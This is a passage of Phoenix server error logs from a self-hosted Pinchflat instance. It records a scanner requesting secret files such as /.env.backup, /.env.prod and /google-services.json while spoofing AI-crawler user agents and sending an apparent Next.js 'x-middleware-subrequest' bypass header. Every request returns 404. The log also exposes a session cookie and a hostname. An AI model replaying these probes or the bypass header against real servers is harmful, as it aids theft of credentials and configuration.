"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29557.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61TbS5rp1dVYAAH8j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29555.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33532}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29555.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33532}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:05.445 [info] GET /.env.backup 16:49:05.445 [debug] QUERY OK source="settings" db=0.0ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.445 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.445 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.445 [error] #PID<0.29559.0> running PinchflatWeb.Endpoint (connection #PID<0.29558.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29558.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33538}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29559.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61TcLW10zuAkABvph"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29558.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33538}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29558.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33538}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:05.477 [info] GET /google-services.json 16:49:05.477 [debug] QUERY OK source="settings" db=0.0ms idle=35.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.477 [debug] QUERY OK source="settings" db=0.0ms idle=35.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.477 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.477 [error] #PID<0.29561.0> running PinchflatWeb.Endpoint (connection #PID<0.29560.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /google-services.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-services (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29560.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-services.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33544}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29561.0>, params: %{}, path_info: ["google-services"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/google-services.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Tj3i6RZ6jcABvqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29560.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-services.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33544}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-services (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29560.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-services.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33544}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: fals (truncated) 16:49:05.587 [info] GET /.env.old 16:49:05.587 [debug] QUERY OK source="settings" db=0.1ms idle=145.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.587 [debug] QUERY OK source="settings" db=0.1ms idle=142.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.587 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.588 [info] GET /api/.env 16:49:05.588 [info] GET /.env.prod 16:49:05.588 [debug] QUERY OK source="settings" db=0.1ms idle=143.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.588 [debug] QUERY OK source="settings" db=0.0ms idle=111.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.589 [debug] QUERY OK source="settings" db=0.1ms idle=111.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.589 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.588 [error] #PID<0.29563.0> running PinchflatWeb.Endpoint (connection #PID<0.29562.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29562.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33558}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29563.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61T-ENoMeiYsABvqh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, 